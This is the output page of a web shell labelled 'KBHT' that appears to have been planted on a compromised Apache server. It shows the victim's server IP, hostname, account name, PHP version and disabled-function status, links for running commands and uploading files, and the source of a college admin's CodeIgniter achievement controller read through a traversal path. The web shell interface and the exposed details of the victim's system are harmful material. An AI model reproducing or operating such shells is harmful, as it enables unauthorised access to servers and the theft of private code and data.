GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.217.10.200
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/Achievement.php
<?php

/**
 * Request Handler For Handling Requests Related To Achievements
 *
 * @author Softpro India Pvt. Ltd.
 */
class Achievement extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/AchievementManagement');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["achievementHeads"] = $this->AchievementManagement->getAllAchievementHeads()->result();
            $this->load->view('admin/achievementHeads', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createAchievementHead() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view('admin/createAchievementHead');
        } else {
            redirect("admin/");
        }
    }

    public function saveNewAchievementHead() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("acHeadTitle", "Achievement Head Title", "required", array("required" => "Enter Achievement Head Title."));
            $this->form_validation->set_rules("acHeadShortTitle", "Achievement Head Short Title", "required", array("required" => "Enter Achievement Head Short Title."));
            $this->form_validation->set_rules("acHeadApplicableFor", "Achievement Head Applicable For", "required", array("required" => "Please Select Achievement Head Applicable For."));
            $queryByAchievementHeadTitle = $this->AchievementManagement->getAchievementHeadInfoByTitle(trim($this->input->post('acHeadTitle')));
            $achievementHeadInfoByTitle = $queryByAchievementHeadTitle->result();
            $queryByAchievementHeadShortTitle = $this->AchievementManagement->getAchievementHeadInfoByShortTitle(trim($this->input->post('acHeadShortTitle')));
            $achievementHeadInfoByShortTitle = $queryByAchievementHeadShortTitle->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createAchievementHead();
            } else if (sizeof($achievementHeadInfoByTitle)) {
                $this->session->set_flashdata('errorMessage', "An Achievement Head With This Title (" . addslashes(trim($this->input->post('acHeadTitle'))) . ") Already Exits. Please Choose A Different Title.");
                $this->createAchievementHead();
            } else if (sizeof($achievementHeadInfoByShortTitle)) {
                $this->session->set_flashdata('errorMessage', "An Achievement With This Short Title (" . addslashes(trim($this->input->post('acHeadShortTitle'))) . ") Already Exits. Please Choose A Different Short Title.");
                $this->createAchievementHead();
            } else {
                $newAchievementHeadInfo = array(
                    "tsam_title" => addslashes(trim($this->input->post("acHeadTitle"))),
                    "tsam_short_title" => addslashes(trim($this->input->post("acHeadShortTitle"))),
                    "tsam_for" => trim($this->input->post("acHeadApplicableFor")),
                    "tsam_description" => addslashes(trim($this->input->post("acHeadDescription"))),
                    "tsam_added_on" => date("Y-m-d H:i:s"),
                    "tsam_updated_on" => date("Y-m-d H:i:s"),
                    "tsam_updated_by" => $this->session->userdata("adminData")["smember_id"],
                    "tsam_added_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->AchievementManagement->createNewAchievementHead($newAchievementHeadInfo)) {
                    $this->session->set_flashdata('successMessage', 'Achievement Head Created Successfully.');
                    redirect("admin/Achievement/");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Exam. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editAchievementHead($ach_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['achievementHeadInfo'] = $this->AchievementManagement->getAchievementHeadInfoBy($ach_id)->result()[0];
            $this->load->view('admin/editAchievementHead', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateAchievementHead() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $acHead_id = $this->input->post('acHeadId');
            $this->form_validation->set_rules("acHeadTitle", "Achievement Head Title", "required", array("required" => "Enter Achievement Head Title."));
            $this->form_validation->set_rules("acHeadShortTitle", "Achievement Head Short Title", "required", array("required" => "Enter Achievement Head Short Title."));
            $this->form_validation->set_rules("acHeadApplicableFor", "Achievement Head Applicable For", "required", array("required" => "Please Select Achievement Head Applicable For."));
            if ($this->form_validation->run() == FALSE) {
                $this->editAchievementHead($acHead_id);
            } else if (!$this->AchievementManagement->isAchievementHeadTitleSafeUpdate($acHead_id, trim($this->input->post('acHeadTitle')))) {
                $this->session->set_flashdata('errorMessage', "An Achievement Head With This Title (" . addslashes(trim($this->input->post('acHeadTitle'))) . ") Already Exits. Please Choose A Different Title.");
                $this->editAchievementHead($acHead_id);
            } else if (!$this->AchievementManagement->isAchievementHeadShortTitleSafeUpdate($acHead_id, trim($this->input->post('acHeadShortTitle')))) {
                $this->session->set_flashdata('errorMessage', "An Achievement With This Short Title (" . addslashes(trim($this->input->post('acHeadShortTitle'))) . ") Already Exits. Please Choose A Different Short Title.");
                $this->editAchievementHead($acHead_id);
            } else {
                $newAchievementHeadInfo = array(
                    "tsam_id" => $acHead_id,
                    "tsam_title" => addslashes(trim($this->input->post("acHeadTitle"))),
                    "tsam_short_title" => addslashes(trim($this->input->post("acHeadShortTitle"))),
                    "tsam_for" => trim($this->input->post("acHeadApplicableFor")),
                    "tsam_description" => addslashes(trim($this->input->post("acHeadDescription"))),
                    "tsam_updated_on" => date("Y-m-d H:i:s"),
                    "tsam_updated_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->AchievementManagement->updateAchievementHeadInfo($newAchievementHeadInfo)) {
                    $this->session->set_flashdata('successMessage', 'Achievement Head Updated Successfully.');
                    redirect("admin/Achievement/");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Achievement Head. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleAchievementHeadStatus($ach_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $achievementHeadUpdateData = array(
                'tsam_id' => $ach_id,
                'tsam_updated_on' => date("Y-m-d H:i:s"),
                'tsam_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'tsam_active_status' => $toUpdateStatus
            );
            if ($this->AchievementManagement->updateAchievementHeadInfo($achievementHeadUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Achievement Head Status Updated Successfully.');
                redirect("admin/Achievement/");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Achievement Head Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteAchievementHead($ach_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $achievementHeadUpdateData = array(
                'tsam_id' => $ach_id,
                'tsam_updated_on' => date("Y-m-d H:i:s"),
                'tsam_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'tsam_delete_status' => 'T'
            );
            if ($this->AchievementManagement->updateAchievementHeadInfo($achievementHeadUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Achievement Head Deleted Successfully.');
                redirect("admin/Achievement/");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Achievement Head. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function undoDeleteAchievementHead($ach_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $achievementHeadUpdateData = array(
                'tsam_id' => $ach_id,
                'tsam_updated_on' => date("Y-m-d H:i:s"),
                'tsam_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'tsam_delete_status' => 'F'
            );
            if ($this->AchievementManagement->updateAchievementHeadInfo($achievementHeadUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Achievement Head Recovered Successfully.');
                redirect("admin/Achievement/");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Achievement Head. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023